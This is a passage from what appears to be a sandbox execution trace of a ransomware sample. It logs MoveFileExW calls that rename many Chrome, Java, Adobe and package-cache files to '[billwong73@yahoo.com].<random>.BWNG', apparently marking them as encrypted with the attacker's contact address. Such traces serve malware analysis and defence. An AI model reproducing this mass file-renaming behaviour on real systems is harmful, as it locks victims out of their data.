Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\[billwong73@yahoo.com].kYfqCDXH-FrU0a7fC.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\[billwong73@yahoo.com].kyfqcdxh-fru0a7fc.bwng"), dwFlags=0x1) returned 1 [0119.752] GetTickCount () returned 0x11658bb [0119.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26170467721) returned 1 [0119.753] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\[billwong73@yahoo.com].QP9287mQ-YorOCx18.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\[billwong73@yahoo.com].qp9287mq-yorocx18.bwng"), dwFlags=0x1) returned 1 [0119.754] GetTickCount () returned 0x11658bb [0119.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26170614932) returned 1 [0119.754] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\[billwong73@yahoo.com].MlJSSebq-VVltUJe1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\[billwong73@yahoo.com].mljssebq-vvltuje1.bwng"), dwFlags=0x1) returned 1 [0119.755] GetTickCount () returned 0x11658bb [0119.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26170743506) returned 1 [0119.755] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\[billwong73@yahoo.com].CioekGzm-RDMghK4m.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\[billwong73@yahoo.com].cioekgzm-rdmghk4m.bwng"), dwFlags=0x1) returned 1 [0119.757] GetTickCount () returned 0x11658bb [0119.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26170880977) returned 1 [0119.757] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\[billwong73@yahoo.com].k47PLddj-Hx9F9C6z.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\[billwong73@yahoo.com].k47plddj-hx9f9c6z.bwng"), dwFlags=0x1) returned 1 [0119.758] GetTickCount () returned 0x11658bb [0119.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26171007448) returned 1 [0119.758] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].lOT3KDS3-P8Gzhhgo.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].lot3kds3-p8gzhhgo.bwng"), dwFlags=0x1) returned 1 [0119.759] GetTickCount () returned 0x11658bb [0119.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26171154877) returned 1 [0119.760] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\[billwong73@yahoo.com].hO1LEp3s-OltIi0En.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\[billwong73@yahoo.com].ho1lep3s-oltii0en.bwng"), dwFlags=0x1) returned 1 [0119.832] GetTickCount () returned 0x1165909 [0119.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26178475117) returned 1 [0119.833] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\[billwong73@yahoo.com].xWrY7gzs-jNEeAXTf.BWNG" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\[billwong73@yahoo.com].xwry7gzs-jneeaxtf.bwng"), dwFlags=0x1) returned 1 [0119.835] GetTickCount () returned 0x1165909 [0119.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26178707440) returned 1 [0119.835] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\[billwong73@yahoo.com].FXMgdGVU-Yfn8K9LP.BWNG" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\[billwong73@yahoo.com].fxmgdgvu-yfn8k9lp.bwng"), dwFlags=0x1) returned 1 [0119.836] GetTickCount () returned 0x1165909 [0119.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26179068575) returned 1 [0119.839] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\[billwong73@yahoo.com].7zfctMhV-BJ5Wxhr1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\[billwong73@yahoo.com].7zfctmhv-bj5wxhr1.bwng"), dwFlags=0x1) returned 1 [0119.840] GetTickCount () returned 0x1165919 [0119.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26179240671) returned 1 [0119.840] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].3YRGyFf3-lBy4g4lE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].3yrgyff3-lby4g4le.bwng"), dwFlags=0x1) returned 1 [0119.841] GetTickCount () returned 0x1165919 [0119.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26179368019) returned 1 [0119.842] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\[billwong73@yahoo.com].iayjytm2-AU0R08KG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\[billwong73@yahoo.com].iayjytm2-au0r08kg.bwng"), dwFlags=0x1) returned 1 [0119.843] GetTickCount () returned 0x1165919 [0119.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26179510602) returned 1 [0119.843] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidasansregular.ttf"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].PboMpusA-0khgnQXt.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].pbompusa-0khgnqxt.bwng"), dwFlags=0x1) returned 1 [0119.844] GetTickCount () returned 0x1165919 [0119.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26179640697) returned 1 [0119.844] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movedrop32x32.gif"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].gtZJIlw6-16HHFWWD.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].gtzjilw6-16hhfwwd.bwng"), dwFlags=0x1) returned 1 [0119.845] GetTickCount () returned 0x1165919 [0119.845] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26179772196) returned 1 [0119.846] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jvm.hprof.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].VSnSbYMe-PTECA3rX.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].vsnsbyme-pteca3rx.bwng"), dwFlags=0x1) returned 1 [0119.847] GetTickCount () returned 0x1165919 [0119.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26179900652) returned 1 [0119.847] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfont.properties.ja" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\psfont.properties.ja"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].LyKpEcu1-AXgVJIMp.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].lykpecu1-axgvjimp.bwng"), dwFlags=0x1) returned 1 [0119.848] GetTickCount () returned 0x1165919 [0119.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26180036828) returned 1 [0119.848] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\local_policy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\local_policy.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\[billwong73@yahoo.com].aB3b1y3H-Wm9WbZgv.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\[billwong73@yahoo.com].ab3b1y3h-wm9wbzgv.bwng"), dwFlags=0x1) returned 1 [0119.850] GetTickCount () returned 0x1165919 [0119.850] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26180182142) returned 1 [0119.850] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bangui" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bangui"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].bPEFH3Xs-NRuDQX0O.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].bpefh3xs-nrudqx0o.bwng"), dwFlags=0x1) returned 1 [0119.851] GetTickCount () returned 0x1165919 [0119.851] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26180316788) returned 1 [0119.851] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dakar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\dakar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].34PlKl1D-uBwPGN7n.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].34plkl1d-ubwpgn7n.bwng"), dwFlags=0x1) returned 1 [0119.854] GetTickCount () returned 0x1165919 [0119.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26180644822) returned 1 [0119.855] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kampala" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\kampala"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].ZzMW6vpT-JlKp7gOX.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].zzmw6vpt-jlkp7gox.bwng"), dwFlags=0x1) returned 1 [0119.917] GetTickCount () returned 0x1165957 [0119.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26186931414) returned 1 [0119.917] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Malabo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\malabo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].9sWpdjW1-POLFmTOv.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].9swpdjw1-polfmtov.bwng"), dwFlags=0x1) returned 1 [0119.993] GetTickCount () returned 0x11659a5 [0119.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26194519203) returned 1 [0119.993] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ouagadougou" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\ouagadougou"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].nzq65wgO-xGQK66qq.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].nzq65wgo-xgqk66qq.bwng"), dwFlags=0x1) returned 1 [0119.994] GetTickCount () returned 0x11659a5 [0119.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26194652185) returned 1 [0119.995] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_kw.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].Qyd6ZR8p-vKknG07W.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].qyd6zr8p-vkkng07w.bwng"), dwFlags=0x1) returned 1 [0119.996] GetTickCount () returned 0x11659b5 [0119.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26194802746) returned 1 [0119.996] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ye.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].scDbsQ63-WjzBR1Gn.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].scdbsq63-wjzbr1gn.bwng"), dwFlags=0x1) returned 1 [0119.997] GetTickCount () returned 0x11659b5 [0119.997] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26194936669) returned 1 [0119.997] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_ch.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].9bysBWVA-1AuAWyMm.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].9bysbwva-1auawymm.bwng"), dwFlags=0x1) returned 1 [0119.998] GetTickCount () returned 0x11659b5 [0119.998] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26195062606) returned 1 [0119.999] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].9UG3Fsmj-5XAAbTRK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].9ug3fsmj-5xaabtrk.bwng"), dwFlags=0x1) returned 1 [0120.000] GetTickCount () returned 0x11659b5 [0120.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26195179660) returned 1 [0120.000] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Indianapolis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\indianapolis"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\[billwong73@yahoo.com].sF22cwWZ-xyW2BPTu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\[billwong73@yahoo.com].sf22cwwz-xyw2bptu.bwng"), dwFlags=0x1) returned 1 [0120.001] GetTickCount () returned 0x11659b5 [0120.001] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26195332486) returned 1 [0120.001] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].k2JZgKrR-Nc8BnbkE.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].k2jzgkrr-nc8bnbke.bwng"), dwFlags=0x1) returned 1 [0120.002] GetTickCount () returned 0x11659b5 [0120.002] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26195454096) returned 1 [0120.003] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_us.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].QuqCNkUW-mTjO2Fje.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].quqcnkuw-mtjo2fje.bwng"), dwFlags=0x1) returned 1 [0120.004] GetTickCount () returned 0x11659b5 [0120.004] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26195590801) returned 1 [0120.004] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].ZljOJTcP-b7UF29RS.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].zljojtcp-b7uf29rs.bwng"), dwFlags=0x1) returned 1 [0120.005] GetTickCount () returned 0x11659b5 [0120.005] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26195722345) returned 1 [0120.005] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].i46ijbSP-mM2J0zkt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].i46ijbsp-mm2j0zkt.bwng"), dwFlags=0x1) returned 1 [0120.006] GetTickCount () returned 0x11659b5 [0120.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26195860104) returned 1 [0120.007] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv_lv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].l403Kw24-81C7HDxe.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].l403kw24-81c7hdxe.bwng"), dwFlags=0x1) returned 1 [0120.011] GetTickCount () returned 0x11659b5 [0120.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26196416730) returned 1 [0120.012] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 